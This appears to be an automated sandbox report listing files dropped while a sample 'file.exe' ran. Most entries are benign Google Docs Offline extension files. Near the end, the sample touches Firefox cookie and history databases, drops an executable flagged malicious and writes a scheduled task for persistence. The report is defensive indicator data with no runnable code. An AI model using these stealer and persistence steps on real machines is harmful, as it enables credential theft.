SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\f008bcb7-ee2d-44bd-9199-7312e755af46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHDGCAAFBFB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3218944
Entropy (8bit):	6.662158301388658
Encrypted:	false
SSDEEP:	49152:s/8b8FLuJLipObwKUtNCNeQfDFSXDQQChtAAOO:sHFLuJ2pObwKUtgJMTA/Z
MD5:	C9B569B709CE00A483E1F7B55E1968D7
SHA1:	3D4C51453FEF7669309FE4D7B09FC966ECB2E4EB
SHA-256:	3F56D922315B19C434E83E114274E6B63ACFC435AF88F27386EF4BC257D43994
SHA-512:	813D6135AB064261FACB4271EA40B39AB3079608AC3E8525B5A8F7D9CD22E68749F9C47C1D8535D0DED0713CC2449250D3AF49366247653EB0A9A01DDF29AD15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 1...........@..........................P1.....q.1...@.................................W...k.......H.....................1...............................1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...reekuiqa.`......`.................@...awjmlosa......1.......0.............@....taggant.0... 1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHDGCAAFBFB.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.476685563027464
Encrypted:	false
SSDEEP:	6:2oEtDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lB60t0:2JlvJQ1CGAFMkXd8kX+VB60t0
MD5:	8B3E4580F65792880A2746C67239D5D6
SHA1:	87065E3AD93B9409CB9A970214CB6ACAD7A6BE7C
SHA-256:	D968A6FCCDEF8489F0E692005EE1FF79A7A844AD923D6503252A5CC54DB000D1
SHA-512:	7DB5B0BC7B05455B604A5348FE0C7FF38A959E621316B31459CE0FD53317DCE881E04CC4332D0B57F93EBB473FC96E2D06C74C0BD05EB333F395BC7F37CF2417
Malicious:	false
Preview:	........~'BE.,.a.{P.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................8.@3P.........................

